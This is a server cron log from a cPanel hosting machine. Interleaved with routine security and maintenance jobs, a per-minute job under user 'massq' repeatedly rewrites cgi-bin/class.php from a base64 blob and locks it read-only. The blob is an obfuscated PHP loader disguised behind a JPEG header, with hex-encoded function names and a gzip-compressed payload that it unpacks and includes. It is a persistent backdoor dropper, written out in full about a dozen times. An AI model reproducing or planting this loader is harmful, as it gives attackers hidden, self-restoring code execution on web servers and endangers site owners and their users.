Sep  2 14:20:01 server CROND[13978]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:20:01 server CROND[13979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:20:01 server CROND[13981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:20:01 server CROND[13983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:20:01 server CROND[13985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:20:01 server CROND[13977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:21:01 server CROND[14835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:21:01 server CROND[14836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:21:01 server CROND[14837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:22:01 server CROND[15224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:22:01 server CROND[15225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:22:01 server CROND[15226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:23:02 server CROND[15710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:23:02 server CROND[15711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:23:02 server CROND[15712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:24:01 server CROND[16090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:24:01 server CROND[16091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:24:01 server CROND[16093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:25:01 server CROND[16484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:25:01 server CROND[16486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:25:01 server CROND[16488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:25:01 server CROND[16491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:25:01 server CROND[16492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:25:01 server CROND[16493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:25:01 server CROND[16494]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 14:25:01 server CROND[16490]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:26:01 server CROND[17326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:26:01 server CROND[17327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:26:01 server CROND[17325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:27:01 server CROND[17714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:27:01 server CROND[17716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:27:01 server CROND[17715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:27:01 server CROND[17717]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:28:01 server CROND[18195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:28:01 server CROND[18197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:28:01 server CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:29:01 server CROND[18585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:29:01 server CROND[18586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:29:01 server CROND[18587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:30:01 server CROND[18989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:30:01 server CROND[18993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:30:01 server CROND[18996]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:30:01 server CROND[18999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:30:01 server CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:30:01 server CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:30:01 server CROND[19004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:30:01 server CROND[19000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:31:01 server CROND[19835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:31:01 server CROND[19836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:31:01 server CROND[19837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:32:01 server CROND[20230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
